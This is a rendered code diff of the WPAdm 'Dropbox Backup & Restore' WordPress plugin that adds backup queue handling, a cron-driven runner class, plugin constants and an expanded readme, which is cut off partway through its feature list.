$queue = unserialize(file_get_contents($done_file));
|
127 |
if (isset($queue['contexts'][0])) {
|
128 |
$this->error = $queue['contexts'][0]->getError();
|
|
|
129 |
}
|
130 |
}
|
131 |
if (file_exists($done_file)) {
|
132 |
unlink($done_file);
|
133 |
}
|
134 |
+
if (!empty($this->error) ) {
|
135 |
+
return false;
|
136 |
+
}
|
137 |
return true;
|
138 |
}
|
139 |
+
private function deleteCommands()
|
140 |
+
{
|
141 |
+
$files = glob(WPAdm_Core::getTmpDir() . "/wpadm_method_*");
|
142 |
+
if (!empty($files)) {
|
143 |
+
for($i = 0; $i < $n; $i++) {
|
144 |
+
WPAdm_Core::rmdir($files[$i]);
|
145 |
+
}
|
146 |
+
}
|
147 |
+
}
|
148 |
|
149 |
public function save() {
|
150 |
+
ini_set("memory_limit", "256M");
|
151 |
+
$this->deleteCommands();
|
152 |
$file = WPAdm_Core::getTmpDir() . '/' . $this->id. '.queue';
|
153 |
$txt = serialize(
|
154 |
array(
|
class-wpadm-result.php → modules/class-wpadm-result.php
RENAMED
@@ -1,117 +1,127 @@
|
|
1 |
-
<?php
|
2 |
-
if (!class_exists('WPAdm_Result')) {
|
3 |
-
class WPAdm_Result {
|
4 |
-
/*
|
5 |
-
|
6 |
-
|
7 |
-
|
8 |
-
|
9 |
-
|
10 |
-
private $result;
|
11 |
-
|
12 |
-
/*
|
13 |
-
|
14 |
-
|
15 |
-
|
16 |
-
private $error = '';
|
17 |
-
|
18 |
-
/*
|
19 |
-
|
20 |
-
|
21 |
-
|
22 |
-
private $data;
|
23 |
-
|
24 |
-
/*
|
25 |
-
|
26 |
-
|
27 |
-
private $size;
|
28 |
-
|
29 |
-
const WPADM_RESULT_SUCCESS = 'success';
|
30 |
-
const WPADM_RESULT_ERROR = 'error';
|
31 |
-
|
32 |
-
public function __construct() {
|
33 |
-
$this->result = WPAdm_Result::WPADM_RESULT_ERROR;
|
34 |
-
}
|
35 |
-
|
36 |
-
/**
|
37 |
-
|
38 |
-
|
39 |
-
public function setData($data)
|
40 |
-
{
|
41 |
-
$this->data = $data;
|
42 |
-
}
|
43 |
-
|
44 |
-
|
45 |
-
|
46 |
-
|
47 |
-
|
48 |
-
|
49 |
-
|
50 |
-
|
51 |
-
|
52 |
-
|
53 |
-
|
54 |
-
|
55 |
-
|
56 |
-
|
57 |
-
|
58 |
-
|
59 |
-
|
60 |
-
|
61 |
-
|
62 |
-
|
63 |
-
|
64 |
-
|
65 |
-
|
66 |
-
|
67 |
-
|
68 |
-
|
69 |
-
|
70 |
-
|
71 |
-
|
72 |
-
|
73 |
-
|
74 |
-
|
75 |
-
|
76 |
-
|
77 |
-
|
78 |
-
|
79 |
-
|
80 |
-
|
81 |
-
|
82 |
-
|
83 |
-
|
84 |
-
|
85 |
-
|
86 |
-
|
87 |
-
|
88 |
-
|
89 |
-
|
90 |
-
|
91 |
-
|
92 |
-
|
93 |
-
|
94 |
-
|
95 |
-
|
96 |
-
|
97 |
-
|
98 |
-
|
99 |
-
|
100 |
-
|
101 |
-
public function
|
102 |
-
|
103 |
-
$this->
|
104 |
-
|
105 |
-
|
106 |
-
|
107 |
-
|
108 |
-
|
109 |
-
|
110 |
-
|
111 |
-
|
112 |
-
|
113 |
-
|
114 |
-
|
115 |
-
|
116 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
117 |
}
|
1 |
+
<?php
|
2 |
+
if (!class_exists('WPAdm_Result')) {
|
3 |
+
class WPAdm_Result {
|
4 |
+
/*
|
5 |
+
* Status of the request.
|
6 |
+
* Can be either a "success" - the request is successful,
|
7 |
+
* or "error" - in an error was encountered
|
8 |
+
* @var string
|
9 |
+
*/
|
10 |
+
private $result;
|
11 |
+
|
12 |
+
/*
|
13 |
+
* Text of the error that occurred during query execution
|
14 |
+
* @var string
|
15 |
+
*/
|
16 |
+
private $error = '';
|
17 |
+
|
18 |
+
/*
|
19 |
+
* Data obtained during query execution
|
20 |
+
* @var mixed
|
21 |
+
*/
|
22 |
+
private $data;
|
23 |
+
|
24 |
+
/*
|
25 |
+
* Total size of backup
|
26 |
+
*/
|
27 |
+
private $size;
|
28 |
+
|
29 |
+
const WPADM_RESULT_SUCCESS = 'success';
|
30 |
+
const WPADM_RESULT_ERROR = 'error';
|
31 |
+
|
32 |
+
public function __construct() {
|
33 |
+
$this->result = WPAdm_Result::WPADM_RESULT_ERROR;
|
34 |
+
}
|
35 |
+
|
36 |
+
/**
|
37 |
+
* @param mixed $data
|
38 |
+
*/
|
39 |
+
public function setData($data)
|
40 |
+
{
|
41 |
+
$this->data = $data;
|
42 |
+
}
|
43 |
+
|
44 |
+
public function setValue($val, $data)
|
45 |
+
{
|
46 |
+
$this->$val = $data;
|
47 |
+
}
|
48 |
+
|
49 |
+
/**
|
50 |
+
* @return mixed
|
51 |
+
*/
|
52 |
+
public function getData()
|
53 |
+
{
|
54 |
+
return $this->data;
|
55 |
+
}
|
56 |
+
|
57 |
+
/**
|
58 |
+
* @param string $error
|
59 |
+
*/
|
60 |
+
public function setError($error)
|
61 |
+
{
|
62 |
+
WPAdm_Core::log($error);
|
63 |
+
$this->error = $error;
|
64 |
+
}
|
65 |
+
|
66 |
+
/**
|
67 |
+
* @return string
|
68 |
+
*/
|
69 |
+
public function getError()
|
70 |
+
{
|
71 |
+
return $this->error;
|
72 |
+
}
|
73 |
+
|
74 |
+
/**
|
75 |
+
* @param int $size
|
76 |
+
*/
|
77 |
+
public function setSize($size)
|
78 |
+
{
|
79 |
+
$this->size = $size;
|
80 |
+
}
|
81 |
+
|
82 |
+
/**
|
83 |
+
* @return int
|
84 |
+
*/
|
85 |
+
public function getSize()
|
86 |
+
{
|
87 |
+
return $this->size;
|
88 |
+
}
|
89 |
+
|
90 |
+
/**
|
91 |
+
* @param string $result
|
92 |
+
*/
|
93 |
+
public function setResult($result)
|
94 |
+
{
|
95 |
+
$this->result = $result;
|
96 |
+
}
|
97 |
+
|
98 |
+
/**
|
99 |
+
* @return string
|
100 |
+
*/
|
101 |
+
public function getResult()
|
102 |
+
{
|
103 |
+
return $this->result;
|
104 |
+
}
|
105 |
+
|
106 |
+
public function exchangeArray(array $a) {
|
107 |
+
$this->result = (isset($a['result'])) ? $a['result'] : '';
|
108 |
+
$this->data = (isset($a['data'])) ? $a['data'] : '';
|
109 |
+
$this->error = (isset($a['error'])) ? $a['error'] : '';
|
110 |
+
$this->size = (isset($a['size'])) ? $a['size'] : '';
|
111 |
+
}
|
112 |
+
|
113 |
+
public function toArray($all = false) {
|
114 |
+
|
115 |
+
if ($all) {
|
116 |
+
return get_object_vars( $this );
|
117 |
+
} else {
|
118 |
+
return array(
|
119 |
+
'result' => $this->getResult(),
|
120 |
+
'error' => $this->getError(),
|
121 |
+
'data' => $this->getData(),
|
122 |
+
'size' => $this->getSize()
|
123 |
+
);
|
124 |
+
}
|
125 |
+
}
|
126 |
+
}
|
127 |
}
|
modules/class-wpadm-running.php
ADDED
@@ -0,0 +1,239 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Class WPAdm_Running
|
4 |
+
*/
|
5 |
+
if (!class_exists('WPAdm_Running')) {
|
6 |
+
|
7 |
+
if (function_exists('set_time_limit')) {
|
8 |
+
@set_time_limit(30);
|
9 |
+
}
|
10 |
+
if (function_exists('ini_set')) {
|
11 |
+
@ini_set('memory_limit', '2048M');
|
12 |
+
}
|
13 |
+
|
14 |
+
|
15 |
+
add_action('drb_run_backup', array('wpadm_running', 'init') );
|
16 |
+
|
17 |
+
class WPAdm_Running {
|
18 |
+
|
19 |
+
private static $command_result_data = array();
|
20 |
+
private static $command_result = '';
|
21 |
+
private static $command_result_id = false;
|
22 |
+
|
23 |
+
static function init_params_default($method = true)
|
24 |
+
{
|
25 |
+
update_option(PREFIX_BACKUP_ . "_commands", array());
|
26 |
+
update_option(PREFIX_BACKUP_ . "proccess-command", array());
|
27 |
+
set_transient('drb_running', 0, 60 * 5);
|
28 |
+
$path = WPAdm_Core::getTmpDir();
|
29 |
+
if (!empty($path)) {
|
30 |
+
WPAdm_Core::rmdir($path . "/db");
|
31 |
+
WPAdm_Core::rmdir($path . "/files");
|
32 |
+
WPAdm_Core::rmdir($path . "/files2");
|
33 |
+
WPAdm_Core::rmdir($path . "/archive");
|
34 |
+
WPAdm_Core::rmdir($path . "/command_dropbox");
|
35 |
+
WPAdm_Core::rmdir($path . "/errors_sending");
|
36 |
+
WPAdm_Core::rmdir($path . "/tabledb");
|
37 |
+
if ($method) {
|
38 |
+
$files = glob($path ."/wpadm_method*.queue");
|
39 |
+
if (!empty($files)) {
|
40 |
+
$n = count($files);
|
41 |
+
for($i = 0; $i < $n; $i++) {
|
42 |
+
WPAdm_Core::rmdir($files[$i]);
|
43 |
+
}
|
44 |
+
}
|
45 |
+
$files = glob($path ."/wpadm_method*.done");
|
46 |
+
if (!empty($files)) {
|
47 |
+
$n = count($files);
|
48 |
+
for($i = 0; $i < $n; $i++) {
|
49 |
+
WPAdm_Core::rmdir($files[$i]);
|
50 |
+
}
|
51 |
+
}
|
52 |
+
}
|
53 |
+
}
|
54 |
+
}
|
55 |
+
|
56 |
+
static function init()
|
57 |
+
{
|
58 |
+
$command = self::getCommand();
|
59 |
+
if ($command) {
|
60 |
+
WPAdm_Core::$cron = false;
|
61 |
+
wpadm_class::$type = 'full';
|
62 |
+
//$time_load = ini_get("max_execution_time");
|
63 |
+
//WPAdm_Core::log('proccess is work ' . $time_load . 'sec');
|
64 |
+
/*if ($time_load != 0) {
|
65 |
+
self::run($time_load - 5);
|
66 |
+
} else {
|
67 |
+
self::run(90);
|
68 |
+
} */
|
69 |
+
self::run(50);
|
70 |
+
|
71 |
+
if ( self::checkLock() ) {
|
72 |
+
|
73 |
+
$core = new WPAdm_Core($command, 'full_backup_dropbox', DRBBACKUP_BASE_DIR);
|
74 |
+
if ( $result = $core->getResult()->toArray(true) ) {
|
75 |
+
if ($result['result'] == 'success') {
|
76 |
+
self::delCommand($command['method']);
|
77 |
+
self::stop();
|
78 |
+
self::setCommandResultData($command['method'], $result);
|
79 |
+
self::init();
|
80 |
+
} elseif ($result['result'] == 'error') {
|
81 |
+
self::setCommandResultData($command['method'], $result);
|
82 |
+
self::stop();
|
83 |
+
self::init_params_default();
|
84 |
+
}
|
85 |
+
}
|
86 |
+
}
|
87 |
+
}
|
88 |
+
}
|
89 |
+
public static function checkLock()
|
90 |
+
{
|
91 |
+
// false - cron is running
|
92 |
+
// true - cron not running
|
93 |
+
$running_cron = get_transient('drb_running');
|
94 |
+
if ($running_cron && $running_cron == 1) {
|
95 |
+
$time = microtime( true );
|
96 |
+
$locked = get_transient('doing_cron');
|
97 |
+
|
98 |
+
if ( $locked > $time + 10 * 60 ) { // 10 minutes
|
99 |
+
$locked = 0;
|
100 |
+
}
|
101 |
+
if ((defined('WP_CRON_LOCK_TIMEOUT') && $locked + WP_CRON_LOCK_TIMEOUT > $time) || (!defined('WP_CRON_LOCK_TIMEOUT') && $locked + 60 > $time)) {
|
102 |
+
return false;
|
103 |
+
}
|
104 |
+
if (function_exists('_get_cron_array')) {
|
105 |
+
$crons = _get_cron_array();
|
106 |
+
} else {
|
107 |
+
$crons = get_option('cron');
|
108 |
+
}
|
109 |
+
if (!is_array($crons)) {
|
110 |
+
return false;
|
111 |
+
}
|
112 |
+
|
113 |
+
$values = array_values( $crons );
|
114 |
+
if (isset($values['drb_run_backup'])) {
|
115 |
+
$keys = array_keys( $crons );
|
116 |
+
if ( isset($keys[0]) && $keys[0] > $time ) {
|
117 |
+
return false;
|
118 |
+
}
|
119 |
+
}
|
120 |
+
}
|
121 |
+
set_transient('drb_running', 1, 60 * 5);
|
122 |
+
return true;
|
123 |
+
}
|
124 |
+
|
125 |
+
static function is_running()
|
126 |
+
{
|
127 |
+
$running = get_transient('drb_running');
|
128 |
+
if ($running && $running == 0) {
|
129 |
+
//return false;
|
130 |
+
}
|
131 |
+
return true;
|
132 |
+
}
|
133 |
+
|
134 |
+
static function getCommand($command = '')
|
135 |
+
{
|
136 |
+
$commands = get_option(PREFIX_BACKUP_ . "_commands");
|
137 |
+
if ($commands !== false && is_array($commands) && isset($commands[0]) && empty($command) ) {
|
138 |
+
return $commands[0];
|
139 |
+
} elseif (!empty($command) && $commands !== false && is_array($commands)) {
|
140 |
+
$id = wpadm_in_array($command, 'method', $commands, true );
|
141 |
+
}
|
142 |
+
return false;
|
143 |
+
}
|
144 |
+
static function setCommand($method, $params = array() )
|
145 |
+
{
|
146 |
+
$commands = get_option(PREFIX_BACKUP_ . "_commands");
|
147 |
+
if ( ( $commands === false ) || !wpadm_in_array($method, 'method', $commands ) ) {
|
148 |
+
$commands[] = array('method' => $method, 'params' => $params, 'work' => 0 );
|
149 |
+
update_option(PREFIX_BACKUP_ . "_commands", $commands);
|
150 |
+
}
|
151 |
+
}
|
152 |
+
static function delCommand($method)
|
153 |
+
{
|
154 |
+
$commands = get_option(PREFIX_BACKUP_ . "_commands");
|
155 |
+
if ($commands !== false && is_array($commands)) {
|
156 |
+
$id = wpadm_in_array($method, 'method', $commands, true);
|
157 |
+
unset($commands[$id]);
|
158 |
+
if (!empty($commands)) {
|
159 |
+
$commands = array_values($commands);
|
160 |
+
} else {
|
161 |
+
$commands = array();
|
162 |
+
}
|
163 |
+
update_option(PREFIX_BACKUP_ . "_commands", $commands);
|
164 |
+
}
|
165 |
+
}
|
166 |
+
|
167 |
+
static function run($time = false)
|
168 |
+
{
|
169 |
+
if ($time) {
|
170 |
+
$time = $time + time();
|
171 |
+
} else {
|
172 |
+
$time = time();
|
173 |
+
}
|
174 |
+
wp_schedule_single_event($time, 'drb_run_backup', array() );
|
175 |
+
}
|
176 |
+
|
177 |
+
static function stop()
|
178 |
+
{
|
179 |
+
wp_clear_scheduled_hook( 'drb_run_backup', array() );
|
180 |
+
}
|
181 |
+
|
182 |
+
static function setCommandResult($command, $work = false )
|
183 |
+
{
|
184 |
+
$options = get_option( PREFIX_BACKUP_ . "proccess-command" );
|
185 |
+
$id = wpadm_in_array($command, 'command', $options, true );
|
186 |
+
self::$command_result = $command;
|
187 |
+
if ($options === false || $id === false ) {
|
188 |
+
$options[] = array('command' => $command, 'work' => 0);
|
189 |
+
self::$command_result_id = wpadm_in_array($command, 'command', $options, true );
|
190 |
+
self::$command_result_data = array();
|
191 |
+
update_option(PREFIX_BACKUP_ . "proccess-command", $options);
|
192 |
+
} else {
|
193 |
+
if ($work) {
|
194 |
+
$options[$id]['work'] = 1;
|
195 |
+
update_option(PREFIX_BACKUP_ . "proccess-command", $options);
|
196 |
+
}
|
197 |
+
}
|
198 |
+
}
|
199 |
+
|
200 |
+
static function setCommandResultData($command, $data = array())
|
201 |
+
{
|
202 |
+
$path = WPAdm_Core::getTmpDir();
|
203 |
+
self::$command_result_data = $data;
|
204 |
+
file_put_contents($path ."/$command", wpadm_pack( $data ) );
|
205 |
+
}
|
206 |
+
static function delCommandResultData($command)
|
207 |
+
{
|
208 |
+
$path = WPAdm_Core::getTmpDir();
|
209 |
+
if (!empty($path)) {
|
210 |
+
WPAdm_Core::rmdir($path . "/$command");
|
211 |
+
}
|
212 |
+
}
|
213 |
+
|
214 |
+
static function getCommandResult($command)
|
215 |
+
{
|
216 |
+
$options = get_option( PREFIX_BACKUP_ . "proccess-command" );
|
217 |
+
if ($options !== false) {
|
218 |
+
$id = wpadm_in_array($command, 'command', $options, true );
|
219 |
+
if ($id !== false && $options[$id]['work'] == 1) {
|
220 |
+
return true;
|
221 |
+
}
|
222 |
+
}
|
223 |
+
return false;
|
224 |
+
}
|
225 |
+
static function getCommandResultData($command)
|
226 |
+
{
|
227 |
+
if (self::$command_result == $command) {
|
228 |
+
return self::$command_result_data;
|
229 |
+
} else {
|
230 |
+
$path = WPAdm_Core::getTmpDir();
|
231 |
+
if (file_exists($path . "/$command")) {
|
232 |
+
self::$command_result_data = wpadm_unpack( file_get_contents( $path . "/$command" ) );
|
233 |
+
return self::$command_result_data;
|
234 |
+
}
|
235 |
+
}
|
236 |
+
return array();
|
237 |
+
}
|
238 |
+
}
|
239 |
+
}
|
modules/constant.php
ADDED
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
if( !defined('WPADM_DIR_NAME') ) {
|
3 |
+
define('WPADM_DIR_NAME', 'wpadm_backups');
|
4 |
+
}
|
5 |
+
|
6 |
+
if( !defined('DROPBOX_BACKUP_DIR_NAME') ) {
|
7 |
+
define('DROPBOX_BACKUP_DIR_NAME', 'Dropbox_Backup');
|
8 |
+
}
|
9 |
+
|
10 |
+
if( !defined('DROPBOX_BACKUP_DIR_BACKUP') ) {
|
11 |
+
define('DROPBOX_BACKUP_DIR_BACKUP', WP_CONTENT_DIR . '/' . DROPBOX_BACKUP_DIR_NAME);
|
12 |
+
}
|
13 |
+
|
14 |
+
if (!defined('WPADM_DIR_BACKUP')) {
|
15 |
+
define('WPADM_DIR_BACKUP', WP_CONTENT_DIR . '/' . WPADM_DIR_NAME );
|
16 |
+
}
|
17 |
+
|
18 |
+
if (! defined("WPADM_URL_BASE")) {
|
19 |
+
define("WPADM_URL_BASE", 'http://secure.webpage-backup.com/');
|
20 |
+
}
|
21 |
+
if (! defined("WPADM_URL_PRO_VERSION")) {
|
22 |
+
define("WPADM_URL_PRO_VERSION", 'https://secure.wpadm.com/');
|
23 |
+
}
|
24 |
+
|
25 |
+
if (! defined("WPADM_APP_KEY")) {
|
26 |
+
define("WPADM_APP_KEY", 'nv751n84w2nif6j');
|
27 |
+
}
|
28 |
+
|
29 |
+
if (! defined("WPADM_APP_SECRET")) {
|
30 |
+
define("WPADM_APP_SECRET", 'qllasd4tbnqh4oi');
|
31 |
+
}
|
32 |
+
|
33 |
+
if (!defined("SERVER_URL_INDEX")) {
|
34 |
+
define("SERVER_URL_INDEX", "http://www.webpage-backup.com/");
|
35 |
+
}
|
36 |
+
if (!defined("PHP_VERSION_DEFAULT")) {
|
37 |
+
define("PHP_VERSION_DEFAULT", '5.2.4' );
|
38 |
+
}
|
39 |
+
if (!defined("MYSQL_VERSION_DEFAULT")) {
|
40 |
+
define("MYSQL_VERSION_DEFAULT", '5.0' );
|
41 |
+
}
|
42 |
+
|
43 |
+
if (!defined("PREFIX_BACKUP_")) {
|
44 |
+
define("PREFIX_BACKUP_", "wpadm_backup_");
|
45 |
+
}
|
46 |
+
if (!defined("WPADM_1DAY")) {
|
47 |
+
define("WPADM_1DAY", 86400); // 86400 sec = 1 day = 24 hours
|
48 |
+
}
|
49 |
+
if (!defined("WPADM_1WEEK")) {
|
50 |
+
define("WPADM_1WEEK", WPADM_1DAY * 7);
|
51 |
+
}
|
52 |
+
if (!defined("WPADM_COUNT_LIMIT_SEND_TO_DROPBOX")) {
|
53 |
+
define("WPADM_COUNT_LIMIT_SEND_TO_DROPBOX", 5);
|
54 |
+
}
|
55 |
+
|
56 |
+
if (!defined("SITE_HOME")) {
|
57 |
+
define("SITE_HOME", str_ireplace( array( 'http://', 'https://' ), '', home_url() ) );
|
58 |
+
}
|
modules/dropbox.class.php
CHANGED
@@ -152,6 +152,7 @@ class dropbox
|
|
152 |
elseif (!$dir['is_dir']) {
|
153 |
return array (
|
154 |
"size" => $dir['size'],
|
|
|
155 |
"date" => $dir['modified'],
|
156 |
"name" => $dir['path']
|
157 |
);
|
152 |
elseif (!$dir['is_dir']) {
|
153 |
return array (
|
154 |
"size" => $dir['size'],
|
155 |
+
"bytes" => $dir['bytes'],
|
156 |
"date" => $dir['modified'],
|
157 |
"name" => $dir['path']
|
158 |
);
|
errorHandler.php → modules/errorHandler.php
RENAMED
File without changes
|
readme.txt
CHANGED
@@ -1,46 +1,544 @@
|
|
1 |
-
===
|
2 |
-
Plugin Name:
|
3 |
-
Version: 1.1
|
4 |
Donate link: http://www.wpadm.com/donate
|
5 |
URI: http://www.wpadm.com/dropbox-backup
|
6 |
-
Tags:
|
7 |
-
Requires at least:
|
8 |
-
Tested up to: 4.
|
9 |
Stable tag: trunk
|
10 |
License: GPLv2 or later
|
11 |
License URI: http://www.gnu.org/licenses/gpl-2.0.html
|
12 |
Author: WPAdm.com
|
13 |
Contributors: WPAdm.com
|
14 |
|
15 |
-
|
16 |
|
17 |
== Description ==
|
18 |
|
19 |
-
Supports WordPress
|
20 |
|
21 |
-
|
22 |
-
|
23 |
|
|
|
24 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
25 |
|
26 |
If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
|
|
|
|
|
|
|
|
|
27 |
|
28 |
== Installation ==
|
29 |
|
30 |
-
|
|
|
31 |
2. Activate the plugin through the `Plugins` menu in WordPress
|
32 |
|
33 |
|
|
|
34 |
|
35 |
-
|
36 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
37 |
|
38 |
== Other ==
|
39 |
|
|
|
|
|
40 |
Usefull additional functions can be found at www.wpadm.com in the User profile.
|
41 |
-
DropBox Backup is a new plugin, so we
|
42 |
|
43 |
Information about privacy: AFTER the user has been registered at WPAdm service AND has confirmed their registration,
|
44 |
our plugin will get the minimum requirements of php and mysql configuration, version and language of wordpress.
|
45 |
This data will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
|
46 |
-
WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
=== Dropbox Backup & Restore ===
|
2 |
+
Plugin Name: Dropbox Backup & Restore
|
3 |
+
Version: 1.4.1
|
4 |
Donate link: http://www.wpadm.com/donate
|
5 |
URI: http://www.wpadm.com/dropbox-backup
|
6 |
+
Tags: dropbox, backup, dropbox backup, database, file, full backup, manage, sicherung, database backup, file backup, page backup, page, web, web backup, web page, synchronize, clone, duplicate, move, web page backup, site, site backup, back up, cloud, Cloud Files, cloud backup, db backup, dump, german, migrate, multisite, German, schedule, storage, time, upload, data bank, zip, archive, backups, restore, db, recover, recovery, restoration, wp backup, wordpress backup, wordpress backup to dropbox, plugin wordpress backup, wpadm, wpadm.com, website, website backup, website back up, wp backup, wordpress backup, scheduled backup, backup scheduler, tool, backup tool
|
7 |
+
Requires at least: 3.9
|
8 |
+
Tested up to: 4.4.1
|
9 |
Stable tag: trunk
|
10 |
License: GPLv2 or later
|
11 |
License URI: http://www.gnu.org/licenses/gpl-2.0.html
|
12 |
Author: WPAdm.com
|
13 |
Contributors: WPAdm.com
|
14 |
|
15 |
+
Dropbox Backup & Restore Plugin to create Dropbox Full Backup (Files + Database) or Restore, Duplicate, Clone or Migrate of your Website
|
16 |
|
17 |
== Description ==
|
18 |
|
19 |
+
Supports WordPress Backup and Restore to/from Local Storage or upload Backups to Dropbox.
|
20 |
|
21 |
+
If you do not understand something or you have a questions, <br />
|
22 |
+
please, make a [support request](http://www.wpadm.com/support/) first!
|
23 |
|
24 |
+
**Features of website backup & website restore plugin:**
|
25 |
|
26 |
+
* Unlimited dropbox backups;
|
27 |
+
* Unlimited dropbox restores;
|
28 |
+
* Unlimited local backups;
|
29 |
+
* Unlimited local restores;
|
30 |
+
* Local Backup: create the Full Backup of Web Page (Files + Database) and store this at Local Storage of the Site;
|
31 |
+
* Dropbox Backup: create the Full Backup (Files + Database) of Web Page at Local Storage and upload this to Dropbox;
|
32 |
+
* Local Restore: restoration from Local backup at your website (web hosting);
|
33 |
+
* Dropbox Restore: restoration from Dropbox backup;
|
34 |
+
* With "dropbox backup & restore" plugin you can backup and restore WooCommerce shop inkl. Database with products;
|
35 |
+
* Notification loging on screen and in file;
|
36 |
+
* Use your own App key and App secret;
|
37 |
+
